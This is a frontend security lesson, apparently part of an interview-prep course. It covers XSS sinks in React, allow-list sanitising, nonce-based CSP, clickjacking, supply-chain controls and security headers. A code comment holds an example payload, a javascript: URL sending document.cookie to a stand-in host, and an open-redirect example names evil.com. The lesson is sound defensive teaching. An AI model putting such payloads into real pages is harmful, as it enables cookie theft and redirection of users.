The Browser Contract
Frontend Security Checklist: XSS, CSP, Clickjacking and Supply Chain
dangerouslySetInnerHTML, CSP nonces, frame-ancestors, Subresource Integrity and risky packages. Each one asks: what would you check in a code review?
On this page
In one line: assume that some untrusted text will reach your page. Add several layers of defence so that, even then, it cannot run code, put your site in a frame, or bring in a bad dependency. Senior engineers answer security questions as code-review checks, not slogans.
You already know how XSS and CSRF relate to token storage (Lesson 03). This lesson is the practical checklist. A few words first. A header is a named line of extra information that a server sends with a response, such as Content-Security-Policy: .... The browser reads it and follows the rules in it. An origin is the trio of scheme, host and port, for example https://example.com:443. Defence in depth means using several layers of protection, so that if one layer fails, the next one still stops the attack. It covers the risky places to look for, a Content Security Policy that really helps, clickjacking, the supply chain, and the small headers that remove whole groups of bugs.
1. XSS: where it comes from
Cross-site scripting (XSS) is an attack where untrusted data is treated as code in the page, so the attacker's JavaScript runs with the rights of your site. Imagine a stranger writes a note, and your page reads it out loud as an order. There are three types:
- Stored: the bad text is saved (a comment, a profile bio) and then shown to other users.
- Reflected: the bad text comes in the URL or a form, and the response sends it back to the page.
- DOM-based: (the DOM is the browser's live tree of page elements that JavaScript can read and change) code in the browser takes data from the URL,
postMessageor storage. It writes that data into a dangerous place, called a sink. No server is involved.
React's default protection (and its limits)
React escapes everything you put in with {value}. Escaping means changing special characters (like < and >) into a form that the browser shows as plain text and never reads as markup. So <script> inside a string shows as harmless text. The protection stops when you turn it off, or when the string means something other than text:
// 1. dangerouslySetInnerHTML — you asked for raw HTML<div dangerouslySetInnerHTML={{ __html: comment.body }} /> // XSS if body is untrusted// 2. URLs: "javascript:" is a valid href<a href={user.website}>Website</a> // website = "javascript:fetch('//evil/'+document.cookie)"// 3. Refs and direct DOM writesref.current.innerHTML = userInput; // sinkDangerous sinks to search for in a review
| Sink | Why it is dangerous |
|---|---|
dangerouslySetInnerHTML, innerHTML, outerHTML, insertAdjacentHTML | Reads a string as HTML |
document.write, eval, new Function, setTimeout("string") | Runs a string as code |
href / src / action from user data | javascript: and data: URLs |
location = userValue, window.open(userValue) | Open redirects (sending users to any site) and javascript: URLs |
postMessage handlers without an event.origin check (postMessage is a browser method that lets one window or frame send a message to another, even across origins) | Any window can send you data |
| Markdown or rich-text tools with raw HTML turned on | They pass HTML straight through |
target="_blank" on untrusted links without rel="noopener" | Old tab-nabbing problem (the new tab could control the old one). Modern browsers use noopener by default |
Fixes
- Prefer text over HTML. Show user content as text whenever you can.
- If you need HTML, clean it with an allow-list sanitiser. A sanitiser is a tool that removes dangerous parts from HTML and returns safe HTML. An allow-list means only the tags you name are kept and everything else is removed (the opposite, a block-list, tries to name the bad things and always misses some). Use DOMPurify in the browser. Use
sanitize-htmlorrehype-sanitizeon the server or in a Markdown pipeline. Do it when you render, and allow as few tags and attributes as you can. - Check URLs. Allow only
http:andhttps:(usenew URL(value).protocol). Do not allowjavascript:. - Markdown: turn raw HTML off, or clean the output with a strict schema. A renderer that lets
<img onerror=...>through is a classic bug. - Encode the output for where it goes. HTML body, attribute, JavaScript string and URL each need different escaping. A framework does this for you. Strings you build by hand do not get it.
import DOMPurify from "dompurify";const clean = DOMPurify.sanitize(dirtyHtml, { ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "ol", "li", "code", "pre"], ALLOWED_ATTR: ["href"],});2. Content Security Policy (CSP)
Content Security Policy (CSP) is a response header that tells the browser which content it may load and run on your page. It tells the browser which sources of scripts, styles, images and frames are allowed. (An inline script is JavaScript written straight in the HTML, and onerror is an inline event handler attribute.) Suppose an attacker adds a <script> or an inline onerror. If the policy does not allow it, it does not run, even when your escaping failed. CSP is defence in depth (one more layer). It does not replace escaping.
A weak CSP lists many domains and allows 'unsafe-inline'. That defeats the purpose. A strong, modern CSP uses nonces or hashes:
Content-Security-Policy: default-src 'self'; script-src 'nonce-r4nd0m123' 'strict-dynamic'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; object-src 'none'; base-uri 'none'; frame-ancestors 'none'; form-action 'self'; upgrade-insecure-requests- Nonce: a new random value made for each response. Think of it as a secret password for one visit. The server puts it in the header and on every real
<script nonce="…">. An injected script cannot guess it. 'strict-dynamic': a CSP keyword that passes trust on. Scripts loaded by a nonce-approved script are trusted too. So you do not need to keep a long list of allowed domains.object-src 'none',base-uri 'none':object-srccontrols plugins such as<object>and<embed>.base-uricontrols the<base>tag, which changes how all relative links are read. Setting both to'none'closes old ways of injecting code.connect-src: the list of addresses thatfetch, XHR and WebSocket may talk to.form-action: the addresses that forms may submit to.frame-ancestors: this sets who may put your pages in a frame (a frame is a box, such as an<iframe>, that shows another page inside a page; see the next section).- Report-only first: the header
Content-Security-Policy-Report-Onlymakes the browser report violations without blocking anything. Start with it and areport-toendpoint (a URL that collects the reports). Fix the problems it reports. Then turn on enforcement.
In Next.js, the proxy file (called middleware before Next.js 16) can make a nonce for each request and set the header. Pages read the nonce and pass it to scripts. A new nonce on every response means the page must be rendered on each request (dynamically). So a nonce-based CSP and fully static pages do not work together.
Trusted Types is a browser feature that stops plain strings from being used in dangerous DOM sinks. It is a related feature (require-trusted-types-for 'script'). It makes dangerous DOM sinks refuse plain strings. Code must go through sanitising policies first. It catches DOM-based XSS at the sink.
3. Clickjacking
Clickjacking is an attack that tricks a user into clicking something they cannot see. An attacker puts your site in an invisible iframe on their own page. Then they trick the user into clicking a "button" that really presses a button on your site, for example confirm payment or delete account.
Defences:
Content-Security-Policy: frame-ancestors 'none'(or'self', or an allow-list). This is the modern control.- The older
X-Frame-Options: DENY(orSAMEORIGIN) for old browsers. - For sensitive actions, also ask the user to log in again or confirm.
SameSite is a cookie setting that controls whether the browser sends the cookie on requests that start from another site. It also helps. A frame from another site will not send Lax or Strict session cookies.
4. Supply chain: your dependencies are your code
The supply chain means all the code that other people wrote and that your app uses (npm packages, build tools, scripts from a CDN). A CDN (content delivery network) is a group of servers around the world that hold copies of files and serve them from a place near the user. An average app ships hundreds of packages that come in through other packages (transitive packages). Attackers can get in by these routes:
- A maintainer's account is taken over.
- A package has a name that looks like a real one (typosquatting).
- A package has a bad
postinstallscript (a script that npm runs automatically after it installs the package). - A third-party script URL gets a new owner.
A well-known example: in 2024 the polyfill.io domain was transferred to a new owner. It then started serving bad JavaScript to the many sites that loaded it directly.
Controls:
| Control | What it does |
|---|---|
Lockfile + npm ci / pnpm install --frozen-lockfile (a lockfile records the exact version of every package; npm ci installs exactly what it says and fails if it does not match package.json) | Installs the same versions every time. Stops silent version changes |
| Review dependency updates (Dependabot or Renovate PRs) | Updates are planned, and you can read the diff |
npm audit / SCA scanning in CI (SCA means software composition analysis) | Warns about versions with known problems |
| Use fewer dependencies | Every package is a way in for attackers. Do not add one for a 5-line function |
Turn off install scripts where possible (--ignore-scripts, pnpm's script allow-lists) | Stops unknown code from running at install time |
Subresource Integrity (SRI) on third-party scripts and styles (an integrity attribute that holds the file's expected hash, a short fingerprint made from its content) | The browser refuses a file if its hash does not match |
| Host critical scripts yourself | You control the content and when it changes |
| Provenance and trusted publishing (signed proof of where and how a package was built) | Proves a package was built from its source repo |
| Give CI tokens and secrets the least access | Limits what a bad build step can steal |
<script src="https://cdn.example.com/lib@3.2.1/lib.min.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" crossorigin="anonymous"></script>SRI only works for pinned URLs that never change (a file with a version in its URL). If the file changes for a good reason, you must update the hash.
5. Small headers, large effect
| Header | Purpose |
|---|---|
Strict-Transport-Security (HSTS) | Tells the browser to use only HTTPS for your site for a set time. Add includeSubDomains to cover subdomains. Preload puts your domain in a list built into browsers, but it is hard to undo, so think first |
X-Content-Type-Options: nosniff | Stop the browser from guessing MIME types (file types). This blocks some tricks where an upload is run as a script |
Referrer-Policy: strict-origin-when-cross-origin | Do not send full URLs (which may hold IDs or tokens) to other sites |
Permissions-Policy | Controls which browser features (camera, microphone, geolocation) your page and its frames may use. Turn off features you do not use (camera, microphone, geolocation) |
Cross-Origin-Opener-Policy (COOP) / Cross-Origin-Embedder-Policy (COEP) | COOP cuts the link between your window and windows opened from other origins. COEP says the page may load only resources that allow it. Together they isolate your page. Some powerful APIs, such as SharedArrayBuffer, need this |
Cache-Control: no-store on sensitive pages | Keep private data out of caches and out of the Back button |
6. Other frontend items for a review
- Secrets in the bundle. Anything in client code or in
NEXT_PUBLIC_*variables is public. API keys with real power belong on the server. - Open redirects. An open redirect is a page that sends users to an address taken from the request, so an attacker can use your trusted domain to send people to a bad site. An example is
?next=https://evil.comafter login. Allow only relative paths on your own site, or an allow-list. postMessage. Always checkevent.originand check the shape of the message.- Authorization in the UI is not security. Hiding a button does not protect an endpoint. The server must check every request.
- Untrusted file uploads. Check the type and size on the server. Store files outside the web root, or on object storage with safe headers.
- Source maps in production (files that link minified code back to your original source) can show your logic. Decide on purpose whether to publish them.
The review checklist (what you say in an interview)
- Is any untrusted string shown as HTML, used in a URL, or passed to
eval? - Is there a CSP, and does it use nonces instead of
'unsafe-inline'? - Can the site be put in a frame (
frame-ancestors)? - Are tokens stored where JavaScript can read them?
- Do third-party scripts have SRI, pinned versions or self-hosting?
- Are dependencies locked, audited and few?
- Do cookies have
Secure,HttpOnlyandSameSite? - Are the security headers there?
- Does the server check authorization without relying on the UI?
Interview questions
How does React protect against XSS, and where doesn't it?
React escapes values that you put into JSX. So strings are treated as text, not as markup. It does not protect dangerouslySetInnerHTML, direct DOM writes (innerHTML), or URL attributes that accept javascript:. It also does not protect server-rendered strings that you build by hand, or bugs in third-party code. So I clean HTML, check URL protocols, and use CSP as a backup.
What does a strict CSP look like?
It avoids 'unsafe-inline' and long allow-lists. For scripts it uses a nonce for each response (or hashes) with 'strict-dynamic'. It also sets object-src 'none', base-uri 'none', frame-ancestors, and a tight connect-src. I start in report-only mode and then turn on enforcement.
Scenario: a markdown renderer is letting scripts through. Fix it.
First, turn off raw HTML in the Markdown parser. Then clean the HTML it makes with an allow-list (for example rehype-sanitize or DOMPurify) before rendering. Block javascript: URLs and remove event-handler attributes. Add a CSP, so that if something slips through, inline script still cannot run. Add tests that use known bad examples.
How do you defend against a compromised npm package?
I pin and lock versions and install with npm ci. I review update PRs and run audit and SCA in CI. I keep dependencies few and turn off install scripts where I can. I use SRI for outside scripts and limit the secrets that CI can see. I also watch for strange behaviour. I host critical third-party scripts myself.
What is clickjacking and how do you prevent it?
An attacker puts your page in an invisible frame and tricks users into clicking it. To prevent it, use Content-Security-Policy: frame-ancestors (or X-Frame-Options for old browsers). Also add confirmation steps for sensitive actions.
What is Subresource Integrity?
It is an integrity attribute that holds a hash of the file you expect. The browser downloads the file, makes a hash, and refuses to run it if the hash does not match. It protects you if a CDN or third-party host is tampered with. It needs versioned URLs that never change. For files from another origin it also needs crossorigin.
Why is hiding a button in the UI not authorization?
Anyone can call your API directly. The server must check authorization on every request. UI checks only help honest users.
What is the difference between stored, reflected and DOM-based XSS?
Stored XSS is saved on the server and hits every user who views it. Reflected XSS is sent back from a request into the response, often through a specially made link. DOM-based XSS happens fully in browser code. The code reads from a source (URL, storage, postMessage) and writes to a sink. The fixes differ a little. But escaping output, sanitising and CSP help against all three.
Scenario: marketing wants to add a new tag manager to the site. How do you assess the security risk?
A tag manager lets people send any JavaScript to every visitor. So I treat it as part of the attack surface. I limit who can publish, and I require review and an audit log. I run it under a strict CSP with an allow-list of destinations. I use SRI or self-hosting where possible. I keep it off sensitive pages such as login and checkout. I measure how much it slows the site. And I stay ready to turn it off quickly if a tag misbehaves.
Key takeaways
- Sinks (
innerHTML,dangerouslySetInnerHTML,javascript:URLs,eval) are where XSS lives. Find them in review. - Sanitise with an allow-list. Do not write your own regex.
- A nonce-based CSP plus
frame-ancestorsis the modern baseline. Start with report-only. - Treat dependencies and third-party scripts as part of your attack surface: lock, audit, use fewer, add SRI.
- Send the small headers: HSTS,
nosniff,Referrer-Policy,Permissions-Policy. - Authorization lives on the server.
What's next
Lesson 08: Browser Rendering and the Event Loop in Practice. Security is done, so we go back to performance. You will see how a frame is made, why some code causes jank (stuttering), and where microtasks, tasks and animation frames fit.
Published by Jainik · Last updated · How these lessons are made
Keep learning
Related lessons
- XSS, CSRF, Clickjacking and Security Headers · Security for Developers
- Securing LLM Applications: The OWASP Top 10 for LLM Apps in Code · AI Engineering
- Prompt Injection and Safe Tool Use for Agents · AI Engineering
Related series